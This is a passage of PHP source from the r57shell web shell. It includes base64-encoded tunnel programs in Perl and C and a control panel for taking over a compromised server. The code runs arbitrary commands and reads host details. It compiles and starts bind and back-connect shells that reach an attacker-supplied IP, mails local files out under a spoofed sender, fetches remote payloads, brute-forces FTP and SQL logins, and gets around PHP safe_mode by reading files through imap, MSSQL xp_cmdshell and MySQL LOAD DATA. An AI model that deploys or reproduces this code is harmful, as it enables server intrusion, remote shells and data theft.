1193KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
1194ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
1195E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
1196Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
1197NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
1198J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
1199CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
1200dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
1201gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
1202lsZSk7DQogIHJldHVybiAwOw0KfQ==";
1203$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
1204CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
1205bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
1206gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
1207NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
1208iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
1209aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
1210SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
1211xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
1212WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
1213CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
1214yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
1215I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
1216m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
1217IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
1218lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
1219QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
1220CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
1221c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
1222NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
1223UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
1224DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
1225ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
12261ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
1227if($unix) {
1228 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
1229 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
1230 if($safe_mode) { $sysctl = '-'; }
1231 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
1232 else {
1233 $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
1234 if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
1235 if(empty($sysctl)) { $sysctl = '-'; }
1236 setcookie('sysctl',$sysctl);
1237 }
1238}
1239echo $head;
1240echo '</head>';
1241echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font face=Verdana size=-2>';
1242echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
1243echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang['ru_text46']."\"><b>phpinfo</b></a> ".$rb;
1244echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang['ru_text47']."\"><b>php.ini</b></a> ".$rb;
1245if($unix) {
1246 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang['ru_text50']."\"><b>cpu</b></a> ".$rb;
1247 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang['ru_text51']."\"><b>mem</b></a> ".$rb;
1248 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang['ru_text95']."\"><b>users</b></a> ".$rb;
1249}
1250echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang['ru_text48']."\"><b>tmp</b></a> ".$rb;
1251echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?penetrator><b>penetrator</b></a> ".$rb;
1252echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sql><b>sql</b></a> ".$rb;
1253echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fb><b>fb</b></a> ".$rb;
1254echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cleanup><b>cleanup</b></a> ".$rb;
1255echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?zc_conf><b>conf</b></a> ".$rb;
1256echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang['ru_text49']."\"><b>delete</b></a> ".$rb."<br>";
1257echo ws(2)."safe_mode: <b>";
1258echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
1259echo "</b>".ws(2);
1260echo "PHP version: <b>".@phpversion()."</b>";
1261$curl_on = @function_exists('curl_version');
1262echo ws(2);
1263echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
1264echo "</b>".ws(2);
1265echo "MySQL: <b>";
1266$mysql_on = @function_exists('mysql_connect');
1267if($mysql_on){
1268echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
1269echo "</b>".ws(2);
1270echo "MSSQL: <b>";
1271$mssql_on = @function_exists('mssql_connect');
1272if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
1273echo "</b>".ws(2);
1274echo "PostgreSQL: <b>";
1275$pg_on = @function_exists('pg_connect');
1276if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
1277echo "</b>".ws(2);
1278echo "Oracle: <b>";
1279$ora_on = @function_exists('ocilogon');
1280if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
1281echo "</b><br>".ws(2);
1282echo "Disable functions : <b>";
1283if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
1284$free = @diskfreespace($dir);
1285if (!$free) {$free = 0;}
1286$all = @disk_total_space($dir);
1287if (!$all) {$all = 0;}
1288echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
1289echo '</font></td></tr><table>
1290
1291<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
1292<tr><td align=right nowrap>';
1293echo $font;
1294if($unix) {
1295 echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1296 echo "</td><td width=100%>";
1297 echo "<font face=Verdana size=-2 color=red><b>";
1298 echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
1299 echo ws(3).$sysctl."<br>";
1300 echo ws(3).ex('echo $OSTYPE')."<br>";
1301 echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1302 if(!empty($id)) { echo ws(3).$id."<br>"; }
1303 else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) {
1304 $euserinfo = @posix_getpwuid(@posix_geteuid());
1305 $egroupinfo = @posix_getgrgid(@posix_getegid());
1306 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
1307 } else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
1308 echo ws(3).$dir;
1309 echo ws(3).'( '.perms(@fileperms($dir)).' )';
1310 echo "</b></font>";
1311} else {
1312 echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
1313 echo "</td><td width=100%>";
1314 echo "<font face=Verdana size=-2 color=red><b>";
1315 echo ws(3).@substr(@php_uname(),0,120)."<br>";
1316 echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
1317 echo ws(3).@getenv("USERNAME")."<br>";
1318 echo ws(3).$dir;
1319 echo "<br></font>";
1320}
1321echo "</font>";
1322echo "</td></tr></table>";
1323$f = '<br>';
1324if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") {
1325 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
1326 err(6+$res);
1327 $_POST['cmd']="";
1328}
1329if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) {
1330 if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
1331 else {
1332 $filename = @basename($_POST['loc_file']);
1333 $filedump = @fread($file,@filesize($_POST['loc_file']));
1334 fclose($file);
1335 $content_encoding=$mime_type='';
1336 compress($filename,$filedump,$_POST['compress']);
1337 $attach = array(
1338 "name"=>$filename,
1339 "type"=>$mime_type,
1340 "content"=>$filedump);
1341 if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
1342 if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
1343 $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
1344 err(6+$res);
1345 $_POST['cmd']="";
1346 }
1347}
1348if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") {
1349 $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
1350}
1351
1352if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") {
1353 switch($_POST['what']) {
1354 case 'own':
1355 @chown($_POST['param1'],$_POST['param2']);
1356 break;
1357 case 'grp':
1358 @chgrp($_POST['param1'],$_POST['param2']);
1359 break;
1360 case 'mod':
1361 @chmod($_POST['param1'],intval($_POST['param2'], 8));
1362 break;
1363 }
1364 $_POST['cmd']="";
1365}
1366if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") {
1367 switch($_POST['what']) {
1368 case 'file':
1369 if($_POST['action'] == "create") {
1370 if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
1371 else {
1372 fclose($file);
1373 $_POST['e_name'] = $_POST['mk_name'];
1374 $_POST['cmd']="edit_file";
1375 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang['ru_text61']."</b></font></div></td></tr></table>";
1376 }
1377 } else if($_POST['action'] == "delete") {
1378 if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang['ru_text63']."</b></font></div></td></tr></table>";
1379 $_POST['cmd']="";
1380 }
1381 break;
1382 case 'dir':
1383 if($_POST['action'] == "create") {
1384 if(mkdir($_POST['mk_name'])) {
1385 $_POST['cmd']="";
1386 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang['ru_text62']."</b></font></div></td></tr></table>";
1387 } else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
1388 } else if($_POST['action'] == "delete"){
1389 if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang['ru_text64']."</b></font></div></td></tr></table>";
1390 $_POST['cmd']="";
1391 }
1392 break;
1393 }
1394}
1395if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) {
1396 if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
1397 if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
1398 else {
1399 echo $table_up3;
1400 echo $font;
1401 echo "<form name=save_file method=post>";
1402 echo ws(3)."<b>".$_POST['e_name']."</b>";
1403 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
1404 echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
1405 fclose($file);
1406 echo "</textarea>";
1407 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
1408 echo "<input type=hidden name=dir value=".$dir.">";
1409 echo "<input type=hidden name=cmd value=save_file>";
1410 echo (!empty($only_read)?("<br><br>".$lang['ru_text44']):("<br><br><input type=submit name=submit value=\" ".$lang['ru_butt10']." \">"));
1411 echo "</div>";
1412 echo "</font>";
1413 echo "</form>";
1414 echo "</td></tr></table>";
1415 exit();
1416 }
1417}
1418if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") {
1419 $mtime = @filemtime($_POST['e_name']);
1420 if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
1421 else {
1422 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
1423 @fwrite($file,$_POST['e_text']);
1424 @touch($_POST['e_name'],$mtime,$mtime);
1425 $_POST['cmd']="";
1426 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang['ru_text45']."</b></font></div></td></tr></table>";
1427 }
1428}
1429if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) {
1430 cf("/tmp/bd.c",$port_bind_bd_c);
1431 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
1432 @unlink("/tmp/bd.c");
1433 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
1434 $_POST['cmd']="ps -aux | grep bd";
1435}
1436if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) {
1437 cf("/tmp/bdpl",$port_bind_bd_pl);
1438 $p2=which("perl");
1439 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
1440 $_POST['cmd']="ps -aux | grep bdpl";
1441}
1442if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) {
1443 cf("/tmp/back",$back_connect);
1444 $p2=which("perl");
1445 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
1446 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1447}
1448if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) {
1449 cf("/tmp/back.c",$back_connect_c);
1450 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
1451 @unlink("/tmp/back.c");
1452 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
1453 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
1454}
1455if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) {
1456 cf("/tmp/dp",$datapipe_pl);
1457 $p2=which("perl");
1458 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
1459 $_POST['cmd']="ps -aux | grep dp";
1460}
1461if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) {
1462 cf("/tmp/dpc.c",$datapipe_c);
1463 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
1464 @unlink("/tmp/dpc.c");
1465 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
1466 $_POST['cmd']="ps -aux | grep dpc";
1467}
1468if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
1469
1470if (!empty($HTTP_POST_FILES['userfile']['name'])) {
1471 if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
1472 else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
1473 @copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['dir']."/".$nfn)
1474 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
1475}
1476if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) {
1477 switch($_POST['with']) {
1478 case wget:
1479 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
1480 break;
1481 case fetch:
1482 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
1483 break;
1484 case lynx:
1485 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1486 break;
1487 case links:
1488 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1489 break;
1490 case GET:
1491 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
1492 break;
1493 case curl:
1494 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
1495 break;
1496 }
1497}
1498if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) {
1499 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
1500 if(empty($ftp_port)) { $ftp_port = 21; }
1501 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
1502 if(!$connection) { err(3); }
1503 else {
1504 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
1505 else {
1506 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
1507 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
1508 }
1509 }
1510 @ftp_close($connection);
1511 $_POST['cmd'] = "";
1512}
1513
1514function load_dictionary($url) {
1515 global $curl_on;
1516 $res = @file_get_contents($url);
1517 if (!$s && $curl_on) {
1518 $ch = curl_init();
1519 curl_setopt ($ch, CURLOPT_URL, $url);
1520 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
1521 $result = curl_exec($ch);
1522 curl_close($ch);
1523 if (strlen($result) < 1) $res = false;
1524 else $res = $result;
1525 }
1526 if ($res !== false) {
1527 $s = explode("\n", $res);
1528 $res = array();
1529 foreach ($s as $p) $res[] = trim($p);
1530 }
1531 return $res;
1532}
1533
1534if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") {
1535 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
1536 if(empty($ftp_port)) { $ftp_port = 21; }
1537 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
1538 if(!$connection) { err(3); $_POST['cmd'] = ""; }
1539 else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang['ru_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
1540 @ftp_close($connection);
1541 //loading dictionary
1542 if (!empty($_POST['use_dictionary'])) {
1543 $use_dictionary = 1;
1544 $dictionary = load_dictionary($_POST['ftp_dictionary']);
1545 if ($dictionary === false) {
1546 err(-1, "Can't load dictionary for bruteforce.");
1547 die();
1548 }
1549 }
1550}
1551
1552if(!empty($_POST['cmd']) && $_POST['cmd']=="sql_brute") {
1553 if (empty($_POST['sql_server'])) { $sql_server = 'localhost'; }
1554 else $sql_server = $_POST['sql_server'];
1555 if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang['ru_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
1556 //loading dictionary
1557 if (!empty($_POST['use_dictionary'])) {
1558 $use_dictionary = 1;
1559 $dictionary = load_dictionary($_POST['sql_dictionary']);
1560 if ($dictionary === false) {
1561 err(-1, "Can't load dictionary for bruteforce.");
1562 die();
1563 }
1564 }
1565}
1566
1567echo $table_up3;
1568if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
1569else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
1570echo $font.$lang['ru_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report rows=".$rows_count." style='width: 100%; padding-left: 5px;'>";
1571
1572if($safe_mode) {
1573 switch($_POST['cmd']) {
1574 case 'safe_dir':
1575 $d=@dir($dir);
1576 if ($d) {
1577 while (false!==($file=$d->read())) {
1578 if ($file=="." || $file=="..") continue;
1579 @clearstatcache();
1580 list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
1581 if(!$unix){
1582 echo date("d.m.Y H:i",$mtime);
1583 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
1584 } else{
1585 $owner = @posix_getpwuid($uid);
1586 $grgid = @posix_getgrgid($gid);
1587 echo $inode." ";
1588 echo perms(@fileperms($file));
1589 printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
1590 echo date("d.m.Y H:i ",$mtime);
1591 }
1592 echo "$file\n";
1593 }
1594 $d->close();
1595 }
1596 else echo $lang[$language._text29];
1597 break;
1598 case 'test1':
1599 $ci = @curl_init("file://".$_POST['test1_file']."");
1600 $cf = @curl_exec($ci);
1601 echo $cf;
1602 break;
1603 case 'test2':
1604 @include($_POST['test2_file']);
1605 break;
1606 case 'test3':
1607 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
1608 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
1609 if($db) {
1610 if(@mysql_select_db($_POST['test3_md'],$db)) {
1611 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
1612 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
1613 @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
1614 $r = @mysql_query("SELECT * FROM temp_r57_table");
1615 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
1616 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
1617 } else echo "[-] ERROR! Can't select database";
1618 @mysql_close($db);
1619 }
1620 else echo "[-] ERROR! Can't connect to mysql server";
1621 break;
1622 case 'test4':
1623 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
1624 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
1625 if($db) {
1626 if(@mssql_select_db($_POST['test4_md'],$db)) {
1627 @mssql_query("drop table r57_temp_table",$db);
1628 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
1629 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
1630 $res = mssql_query("select * from r57_temp_table",$db);
1631 while(($row=@mssql_fetch_row($res))) {
1632 echo $row[0]."\r\n";
1633 }
1634 @mssql_query("drop table r57_temp_table",$db);
1635 } else echo "[-] ERROR! Can't select database";
1636 @mssql_close($db);
1637 } else echo "[-] ERROR! Can't connect to MSSQL server";
1638 break;
1639 case 'test5':
1640 if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
1641 $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
1642 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
1643 $lines = file ('/tmp/mb_send_mail');
1644 foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
1645 break;
1646 case 'test6':
1647 $stream = @imap_open('/etc/passwd', "", "");
1648 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
1649 for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
1650 @imap_close($stream);
1651 break;
1652 case 'test7':
